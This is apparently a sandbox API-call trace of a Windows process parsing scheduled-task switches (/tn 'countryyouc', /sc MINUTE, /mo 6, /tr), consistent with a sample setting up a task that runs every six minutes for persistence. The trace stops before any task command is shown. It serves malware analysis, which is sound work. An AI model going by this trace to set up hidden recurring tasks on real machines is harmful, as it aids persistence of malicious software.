[0073.604] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0073.604] SetLastError (dwErrCode=0x490) [0073.604] lstrlenW (lpString="change") returned 6 [0073.604] lstrlenW (lpString="change") returned 6 [0073.604] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.604] lstrlenW (lpString="tn") returned 2 [0073.604] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.604] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|change|") returned 8 [0073.604] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.604] lstrlenW (lpString="|change|") returned 8 [0073.604] lstrlenW (lpString="|tn|") returned 4 [0073.604] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0073.604] SetLastError (dwErrCode=0x490) [0073.604] lstrlenW (lpString="run") returned 3 [0073.604] lstrlenW (lpString="run") returned 3 [0073.604] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.604] lstrlenW (lpString="tn") returned 2 [0073.604] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.605] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|run|") returned 5 [0073.605] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.605] lstrlenW (lpString="|run|") returned 5 [0073.605] lstrlenW (lpString="|tn|") returned 4 [0073.605] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0073.605] SetLastError (dwErrCode=0x490) [0073.605] lstrlenW (lpString="end") returned 3 [0073.605] lstrlenW (lpString="end") returned 3 [0073.605] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.605] lstrlenW (lpString="tn") returned 2 [0073.605] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.605] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|end|") returned 5 [0073.605] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.605] lstrlenW (lpString="|end|") returned 5 [0073.605] lstrlenW (lpString="|tn|") returned 4 [0073.605] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0073.605] SetLastError (dwErrCode=0x490) [0073.605] lstrlenW (lpString="showsid") returned 7 [0073.605] lstrlenW (lpString="showsid") returned 7 [0073.605] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.605] GetProcessHeap () returned 0x100000 [0073.605] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3c0) returned 1 [0073.605] GetProcessHeap () returned 0x100000 [0073.606] RtlReAllocateHeap (Heap=0x100000, Flags=0xc, Ptr=0x11c3c0, Size=0x16) returned 0x11c3c0 [0073.606] lstrlenW (lpString="tn") returned 2 [0073.606] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.606] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|showsid|") returned 9 [0073.606] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tn|") returned 4 [0073.606] lstrlenW (lpString="|showsid|") returned 9 [0073.606] lstrlenW (lpString="|tn|") returned 4 [0073.606] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0073.606] SetLastError (dwErrCode=0x490) [0073.606] SetLastError (dwErrCode=0x490) [0073.606] SetLastError (dwErrCode=0x0) [0073.606] lstrlenW (lpString="/tn") returned 3 [0073.606] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0073.606] SetLastError (dwErrCode=0x490) [0073.606] SetLastError (dwErrCode=0x0) [0073.606] lstrlenW (lpString="/tn") returned 3 [0073.606] GetProcessHeap () returned 0x100000 [0073.606] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x8) returned 0x11c360 [0073.606] GetProcessHeap () returned 0x100000 [0073.606] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cd90 [0073.606] SetLastError (dwErrCode=0x0) [0073.606] SetLastError (dwErrCode=0x0) [0073.606] lstrlenW (lpString="countryyouc") returned 11 [0073.607] lstrlenW (lpString="-/") returned 2 [0073.607] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0073.607] SetLastError (dwErrCode=0x490) [0073.607] SetLastError (dwErrCode=0x490) [0073.607] SetLastError (dwErrCode=0x0) [0073.607] lstrlenW (lpString="countryyouc") returned 11 [0073.607] StrChrIW (lpStart="countryyouc", wMatch=0x3a) returned 0x0 [0073.607] SetLastError (dwErrCode=0x490) [0073.607] SetLastError (dwErrCode=0x0) [0073.607] lstrlenW (lpString="countryyouc") returned 11 [0073.607] GetProcessHeap () returned 0x100000 [0073.607] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11c3f0 [0073.607] GetProcessHeap () returned 0x100000 [0073.607] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cdc0 [0073.607] SetLastError (dwErrCode=0x0) [0073.607] SetLastError (dwErrCode=0x0) [0073.607] lstrlenW (lpString="/sc") returned 3 [0073.607] lstrlenW (lpString="-/") returned 2 [0073.607] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.607] lstrlenW (lpString="?") returned 1 [0073.607] lstrlenW (lpString="?") returned 1 [0073.607] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.607] lstrlenW (lpString="sc") returned 2 [0073.607] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.607] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.607] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.608] lstrlenW (lpString="|?|") returned 3 [0073.608] lstrlenW (lpString="|sc|") returned 4 [0073.608] SetLastError (dwErrCode=0x490) [0073.608] lstrlenW (lpString="create") returned 6 [0073.608] lstrlenW (lpString="create") returned 6 [0073.608] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.608] lstrlenW (lpString="sc") returned 2 [0073.608] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.608] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.608] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.608] lstrlenW (lpString="|create|") returned 8 [0073.608] lstrlenW (lpString="|sc|") returned 4 [0073.608] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0073.608] SetLastError (dwErrCode=0x490) [0073.608] lstrlenW (lpString="delete") returned 6 [0073.608] lstrlenW (lpString="delete") returned 6 [0073.608] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.608] lstrlenW (lpString="sc") returned 2 [0073.608] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.608] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|delete|") returned 8 [0073.610] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.610] lstrlenW (lpString="|delete|") returned 8 [0073.610] lstrlenW (lpString="|sc|") returned 4 [0073.610] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0073.610] SetLastError (dwErrCode=0x490) [0073.610] lstrlenW (lpString="query") returned 5 [0073.610] lstrlenW (lpString="query") returned 5 [0073.610] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.610] lstrlenW (lpString="sc") returned 2 [0073.610] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.610] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|query|") returned 7 [0073.610] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.610] lstrlenW (lpString="|query|") returned 7 [0073.610] lstrlenW (lpString="|sc|") returned 4 [0073.611] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0073.611] SetLastError (dwErrCode=0x490) [0073.611] lstrlenW (lpString="change") returned 6 [0073.611] lstrlenW (lpString="change") returned 6 [0073.611] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.611] lstrlenW (lpString="sc") returned 2 [0073.611] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.611] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|change|") returned 8 [0073.611] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.611] lstrlenW (lpString="|change|") returned 8 [0073.611] lstrlenW (lpString="|sc|") returned 4 [0073.611] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0073.611] SetLastError (dwErrCode=0x490) [0073.611] lstrlenW (lpString="run") returned 3 [0073.611] lstrlenW (lpString="run") returned 3 [0073.611] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.611] lstrlenW (lpString="sc") returned 2 [0073.611] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.611] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|run|") returned 5 [0073.611] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.611] lstrlenW (lpString="|run|") returned 5 [0073.611] lstrlenW (lpString="|sc|") returned 4 [0073.611] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0073.612] SetLastError (dwErrCode=0x490) [0073.612] lstrlenW (lpString="end") returned 3 [0073.612] lstrlenW (lpString="end") returned 3 [0073.612] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.612] lstrlenW (lpString="sc") returned 2 [0073.612] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.612] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|end|") returned 5 [0073.612] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.612] lstrlenW (lpString="|end|") returned 5 [0073.612] lstrlenW (lpString="|sc|") returned 4 [0073.612] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0073.612] SetLastError (dwErrCode=0x490) [0073.612] lstrlenW (lpString="showsid") returned 7 [0073.612] lstrlenW (lpString="showsid") returned 7 [0073.612] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.612] lstrlenW (lpString="sc") returned 2 [0073.612] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.612] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|showsid|") returned 9 [0073.612] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|sc|") returned 4 [0073.612] lstrlenW (lpString="|showsid|") returned 9 [0073.612] lstrlenW (lpString="|sc|") returned 4 [0073.612] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0073.613] SetLastError (dwErrCode=0x490) [0073.613] SetLastError (dwErrCode=0x490) [0073.613] SetLastError (dwErrCode=0x0) [0073.613] lstrlenW (lpString="/sc") returned 3 [0073.613] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0073.613] SetLastError (dwErrCode=0x490) [0073.613] SetLastError (dwErrCode=0x0) [0073.613] lstrlenW (lpString="/sc") returned 3 [0073.613] GetProcessHeap () returned 0x100000 [0073.613] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x8) returned 0x11c410 [0073.613] GetProcessHeap () returned 0x100000 [0073.613] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cdf0 [0073.613] SetLastError (dwErrCode=0x0) [0073.613] SetLastError (dwErrCode=0x0) [0073.613] lstrlenW (lpString="MINUTE") returned 6 [0073.613] lstrlenW (lpString="-/") returned 2 [0073.613] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0073.613] SetLastError (dwErrCode=0x490) [0073.613] SetLastError (dwErrCode=0x490) [0073.613] SetLastError (dwErrCode=0x0) [0073.613] lstrlenW (lpString="MINUTE") returned 6 [0073.613] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0073.613] SetLastError (dwErrCode=0x490) [0073.613] SetLastError (dwErrCode=0x0) [0073.613] lstrlenW (lpString="MINUTE") returned 6 [0073.613] GetProcessHeap () returned 0x100000 [0073.613] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xe) returned 0x11c430 [0073.613] GetProcessHeap () returned 0x100000 [0073.614] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ce20 [0073.614] SetLastError (dwErrCode=0x0) [0073.614] SetLastError (dwErrCode=0x0) [0073.614] lstrlenW (lpString="/mo") returned 3 [0073.614] lstrlenW (lpString="-/") returned 2 [0073.614] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.614] lstrlenW (lpString="?") returned 1 [0073.614] lstrlenW (lpString="?") returned 1 [0073.614] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.614] lstrlenW (lpString="mo") returned 2 [0073.614] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.614] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.614] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.614] lstrlenW (lpString="|?|") returned 3 [0073.614] lstrlenW (lpString="|mo|") returned 4 [0073.614] SetLastError (dwErrCode=0x490) [0073.614] lstrlenW (lpString="create") returned 6 [0073.614] lstrlenW (lpString="create") returned 6 [0073.614] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.614] lstrlenW (lpString="mo") returned 2 [0073.614] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.614] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.614] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.615] lstrlenW (lpString="|create|") returned 8 [0073.615] lstrlenW (lpString="|mo|") returned 4 [0073.615] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0073.615] SetLastError (dwErrCode=0x490) [0073.615] lstrlenW (lpString="delete") returned 6 [0073.615] lstrlenW (lpString="delete") returned 6 [0073.615] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.615] lstrlenW (lpString="mo") returned 2 [0073.615] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.615] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|delete|") returned 8 [0073.615] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.615] lstrlenW (lpString="|delete|") returned 8 [0073.615] lstrlenW (lpString="|mo|") returned 4 [0073.615] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0073.615] SetLastError (dwErrCode=0x490) [0073.615] lstrlenW (lpString="query") returned 5 [0073.615] lstrlenW (lpString="query") returned 5 [0073.615] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.615] lstrlenW (lpString="mo") returned 2 [0073.615] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.615] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|query|") returned 7 [0073.615] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.615] lstrlenW (lpString="|query|") returned 7 [0073.615] lstrlenW (lpString="|mo|") returned 4 [0073.616] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0073.616] SetLastError (dwErrCode=0x490) [0073.616] lstrlenW (lpString="change") returned 6 [0073.616] lstrlenW (lpString="change") returned 6 [0073.616] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.616] lstrlenW (lpString="mo") returned 2 [0073.616] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.616] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|change|") returned 8 [0073.616] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.616] lstrlenW (lpString="|change|") returned 8 [0073.616] lstrlenW (lpString="|mo|") returned 4 [0073.616] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0073.616] SetLastError (dwErrCode=0x490) [0073.616] lstrlenW (lpString="run") returned 3 [0073.616] lstrlenW (lpString="run") returned 3 [0073.616] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.616] lstrlenW (lpString="mo") returned 2 [0073.616] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.616] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|run|") returned 5 [0073.616] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.616] lstrlenW (lpString="|run|") returned 5 [0073.616] lstrlenW (lpString="|mo|") returned 4 [0073.616] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0073.617] SetLastError (dwErrCode=0x490) [0073.617] lstrlenW (lpString="end") returned 3 [0073.617] lstrlenW (lpString="end") returned 3 [0073.617] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.617] lstrlenW (lpString="mo") returned 2 [0073.617] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.617] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|end|") returned 5 [0073.617] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.617] lstrlenW (lpString="|end|") returned 5 [0073.617] lstrlenW (lpString="|mo|") returned 4 [0073.617] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0073.617] SetLastError (dwErrCode=0x490) [0073.617] lstrlenW (lpString="showsid") returned 7 [0073.617] lstrlenW (lpString="showsid") returned 7 [0073.617] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.617] lstrlenW (lpString="mo") returned 2 [0073.617] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.617] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|showsid|") returned 9 [0073.617] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|mo|") returned 4 [0073.617] lstrlenW (lpString="|showsid|") returned 9 [0073.617] lstrlenW (lpString="|mo|") returned 4 [0073.618] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0073.618] SetLastError (dwErrCode=0x490) [0073.618] SetLastError (dwErrCode=0x490) [0073.618] SetLastError (dwErrCode=0x0) [0073.618] lstrlenW (lpString="/mo") returned 3 [0073.618] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0073.618] SetLastError (dwErrCode=0x490) [0073.618] SetLastError (dwErrCode=0x0) [0073.618] lstrlenW (lpString="/mo") returned 3 [0073.618] GetProcessHeap () returned 0x100000 [0073.618] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x8) returned 0x11c450 [0073.618] GetProcessHeap () returned 0x100000 [0073.618] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ce50 [0073.618] SetLastError (dwErrCode=0x0) [0073.618] SetLastError (dwErrCode=0x0) [0073.618] lstrlenW (lpString="6") returned 1 [0073.618] SetLastError (dwErrCode=0x490) [0073.618] SetLastError (dwErrCode=0x0) [0073.618] lstrlenW (lpString="6") returned 1 [0073.618] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0073.618] SetLastError (dwErrCode=0x490) [0073.618] SetLastError (dwErrCode=0x0) [0073.618] lstrlenW (lpString="6") returned 1 [0073.618] GetProcessHeap () returned 0x100000 [0073.619] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x4) returned 0x11c470 [0073.619] GetProcessHeap () returned 0x100000 [0073.619] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ce80 [0073.619] SetLastError (dwErrCode=0x0) [0073.619] SetLastError (dwErrCode=0x0) [0073.619] lstrlenW (lpString="/tr") returned 3 [0073.619] lstrlenW (lpString="-/") returned 2 [0073.619] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.619] lstrlenW (lpString="?") returned 1 [0073.619] lstrlenW (lpString="?") returned 1 [0073.619] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.619] lstrlenW (lpString="tr") returned 2 [0073.619] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.619] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.619] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.619] lstrlenW (lpString="|?|") returned 3 [0073.619] lstrlenW (lpString="|tr|") returned 4 [0073.619] SetLastError (dwErrCode=0x490) [0073.619] lstrlenW (lpString="create") returned 6 [0073.619] lstrlenW (lpString="create") returned 6 [0073.619] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.619] lstrlenW (lpString="tr") returned 2 [0073.619] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.619] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.620] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.620] lstrlenW (lpString="|create|") returned 8 [0073.620] lstrlenW (lpString="|tr|") returned 4 [0073.620] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0073.620] SetLastError (dwErrCode=0x490) [0073.620] lstrlenW (lpString="delete") returned 6 [0073.620] lstrlenW (lpString="delete") returned 6 [0073.620] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.620] lstrlenW (lpString="tr") returned 2 [0073.620] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.620] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|delete|") returned 8 [0073.620] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.620] lstrlenW (lpString="|delete|") returned 8 [0073.620] lstrlenW (lpString="|tr|") returned 4 [0073.620] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0073.620] SetLastError (dwErrCode=0x490) [0073.620] lstrlenW (lpString="query") returned 5 [0073.620] lstrlenW (lpString="query") returned 5 [0073.620] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.620] lstrlenW (lpString="tr") returned 2 [0073.620] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.620] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|query|") returned 7 [0073.621] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.621] lstrlenW (lpString="|query|") returned 7 [0073.621] lstrlenW (lpString="|tr|") returned 4 [0073.621] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0073.621] SetLastError (dwErrCode=0x490) [0073.621] lstrlenW (lpString="change") returned 6 [0073.621] lstrlenW (lpString="change") returned 6 [0073.621] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.621] lstrlenW (lpString="tr") returned 2 [0073.621] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.621] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|change|") returned 8 [0073.621] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.621] lstrlenW (lpString="|change|") returned 8 [0073.621] lstrlenW (lpString="|tr|") returned 4 [0073.621] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0073.621] SetLastError (dwErrCode=0x490) [0073.621] lstrlenW (lpString="run") returned 3 [0073.621] lstrlenW (lpString="run") returned 3 [0073.621] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.621] lstrlenW (lpString="tr") returned 2 [0073.621] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.621] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|run|") returned 5 [0073.621] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.622] lstrlenW (lpString="|run|") returned 5 [0073.622] lstrlenW (lpString="|tr|") returned 4 [0073.622] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0073.622] SetLastError (dwErrCode=0x490) [0073.622] lstrlenW (lpString="end") returned 3 [0073.622] lstrlenW (lpString="end") returned 3 [0073.622] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 